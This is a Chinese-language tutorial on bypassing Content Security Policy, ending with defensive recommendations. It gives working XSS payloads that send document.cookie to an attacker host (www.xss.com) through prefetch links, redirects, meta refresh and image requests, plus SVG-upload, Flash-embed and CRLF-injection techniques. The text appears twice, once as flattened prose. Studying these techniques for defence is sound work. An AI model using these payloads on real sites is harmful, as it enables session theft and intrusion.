初探CSPBypass一些细节总结
字数 1556 2025-08-29 08:31:42

CSP Bypass 技术细节与防御方法

1. CSP 简介与浏览器支持情况

内容安全策略 (Content Security Policy, CSP) 是一种用于防范 XSS 攻击的安全机制,通过定义哪些资源可以被加载和执行来增强网页安全性。

1.1 浏览器支持情况

  • Firefox: 对 CSP 的支持最为完善,能够较好地实现 CSP 规范
  • Chrome: 支持相对迟缓,历史上存在一些问题:
    • Chrome 45 及之前版本默认禁止 inline 脚本执行,即使设置 'unsafe-inline' 也无效
    • 现代版本已逐步完善 CSP 支持,'unsafe-inline' 可以正常使用

2. unsafe-inline 模式下的 Bypass 方法

当 CSP 策略设置为允许内联脚本时 (script-src 'self' 'unsafe-inline'),存在多种绕过方法:

2.1 利用 <link> 标签的 rel 属性

Firefox 浏览器

<link rel="dns-prefetch" href="[cookie].xss.com">
  • 利用 dns-prefetch 属性发送 DNS 查询泄露数据
  • 该属性尚未被加入 CSP 实现中

Chrome 浏览器

<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">
  • 使用 prefetch 属性通过 GET 请求泄露 cookie
  • 可通过 JavaScript 动态创建元素实现

2.2 通用绕过方法

页面跳转

<script>
window.location="http://www.xss.com/x.php?c="+escape(document.cookie);
</script>
  • CSP 通常不会限制 location.href 跳转
  • 可结合跳转回原页面减少被发现的可能性

动态创建元素跳转

var a=document.createElement("a");
a.href='http://www.xss.com/?c='+escape(document.cookie);
a.click();

<meta> 标签跳转

<meta http-equiv="refresh" content="5;url=http://www.xss.com/?c=[cookie]">

图片外链泄露

var i=document.createElement("img");
i.src='http://www.xss.com/?c='+escape(document.cookie);
document.body.appendChild(i);
  • 适用于 img-src * 策略的网站

3. 严格 CSP 策略下的 Bypass 方法 (script-src 'self')

3.1 重定向 (302) 绕过

当 CSP 限制脚本只能从特定目录加载时:

<script src="http://127.0.0.1/a/redirect.php?url=/b/2.js"></script>
  • 通过同域下的 302 跳转可以加载其他目录下的脚本
  • 限制:不能跨域跳转加载脚本

3.2 文件上传功能绕过

3.2.1 利用 MIME 类型

  • Apache: 未定义后缀的文件不返回 Content-Type,会被当作 HTML 解析

    <!-- 上传 .xx 文件,内容为恶意代码 -->
    
  • Nginx: 上传 SVG 文件

    <svg xmlns="http://www.w3.org/2000/svg" onload="alert(URL)"/>
    
    • SVG 文件会被正确解析并执行内联 JavaScript

3.2.2 加载伪装为 Flash 的文件

<embed src="http://127.0.0.1/upload/1.jpg" type="application/x-shockwave-flash"></embed>
  • 将恶意 JavaScript 编译为 ActionScript 并保存为 .jpg
  • Firefox 会忽略服务器返回的 MIME 类型,按照指定 type 加载

3.3 CRLF 注入绕过

通过注入换行符将 CSP 头部挤到 HTTP body 中:

Location: url\r\n\r\n<script>alert(1)</script>
  • 适用于非 PHP 环境(PHP 高版本已禁止多行 header)
  • 使 JavaScript 完全不受 CSP 限制

4. 其他注意事项

4.1 <link rel="import"> 的限制

  • 加载的文档被视为内联脚本,受发起页 CSP 限制
  • 相比 iframe 限制更多,不推荐用于 CSP 绕过

5. 防御建议

  1. 避免使用 unsafe-inline:内联脚本风险高,尽量使用外部脚本
  2. 严格限制资源加载:避免使用通配符 (*),明确指定可信来源
  3. 文件上传安全
    • 严格验证文件内容和类型
    • 设置正确的 MIME 类型
    • 将上传文件存储在独立域名下
  4. 重定向安全:验证重定向目标,避免开放重定向
  5. CRLF 防护:过滤用户输入中的特殊字符

6. 结论

CSP 作为 XSS 防护机制仍存在多种绕过方法,特别是在 unsafe-inline 模式下风险较高。开发者应结合 CSP 与其他安全措施(如输入输出过滤、HTTP 头安全设置等)构建纵深防御体系。同时,随着浏览器对 CSP 支持的不断完善,新的绕过方法也会不断出现,需要持续关注安全更新。

CSP Bypass 技术细节与防御方法 1. CSP 简介与浏览器支持情况 内容安全策略 (Content Security Policy, CSP) 是一种用于防范 XSS 攻击的安全机制,通过定义哪些资源可以被加载和执行来增强网页安全性。 1.1 浏览器支持情况 Firefox : 对 CSP 的支持最为完善,能够较好地实现 CSP 规范 Chrome : 支持相对迟缓,历史上存在一些问题: Chrome 45 及之前版本默认禁止 inline 脚本执行,即使设置 'unsafe-inline' 也无效 现代版本已逐步完善 CSP 支持, 'unsafe-inline' 可以正常使用 2. unsafe-inline 模式下的 Bypass 方法 当 CSP 策略设置为允许内联脚本时 ( script-src 'self' 'unsafe-inline' ),存在多种绕过方法: 2.1 利用 <link> 标签的 rel 属性 Firefox 浏览器 利用 dns-prefetch 属性发送 DNS 查询泄露数据 该属性尚未被加入 CSP 实现中 Chrome 浏览器 使用 prefetch 属性通过 GET 请求泄露 cookie 可通过 JavaScript 动态创建元素实现 2.2 通用绕过方法 页面跳转 CSP 通常不会限制 location.href 跳转 可结合跳转回原页面减少被发现的可能性 动态创建元素跳转 <meta> 标签跳转 图片外链泄露 适用于 img-src * 策略的网站 3. 严格 CSP 策略下的 Bypass 方法 ( script-src 'self' ) 3.1 重定向 (302) 绕过 当 CSP 限制脚本只能从特定目录加载时: 通过同域下的 302 跳转可以加载其他目录下的脚本 限制:不能跨域跳转加载脚本 3.2 文件上传功能绕过 3.2.1 利用 MIME 类型 Apache : 未定义后缀的文件不返回 Content-Type,会被当作 HTML 解析 Nginx : 上传 SVG 文件 SVG 文件会被正确解析并执行内联 JavaScript 3.2.2 加载伪装为 Flash 的文件 将恶意 JavaScript 编译为 ActionScript 并保存为 .jpg Firefox 会忽略服务器返回的 MIME 类型,按照指定 type 加载 3.3 CRLF 注入绕过 通过注入换行符将 CSP 头部挤到 HTTP body 中: 适用于非 PHP 环境(PHP 高版本已禁止多行 header) 使 JavaScript 完全不受 CSP 限制 4. 其他注意事项 4.1 <link rel="import"> 的限制 加载的文档被视为内联脚本,受发起页 CSP 限制 相比 iframe 限制更多,不推荐用于 CSP 绕过 5. 防御建议 避免使用 unsafe-inline :内联脚本风险高,尽量使用外部脚本 严格限制资源加载 :避免使用通配符 ( * ),明确指定可信来源 文件上传安全 : 严格验证文件内容和类型 设置正确的 MIME 类型 将上传文件存储在独立域名下 重定向安全 :验证重定向目标,避免开放重定向 CRLF 防护 :过滤用户输入中的特殊字符 6. 结论 CSP 作为 XSS 防护机制仍存在多种绕过方法,特别是在 unsafe-inline 模式下风险较高。开发者应结合 CSP 与其他安全措施(如输入输出过滤、HTTP 头安全设置等)构建纵深防御体系。同时,随着浏览器对 CSP 支持的不断完善,新的绕过方法也会不断出现,需要持续关注安全更新。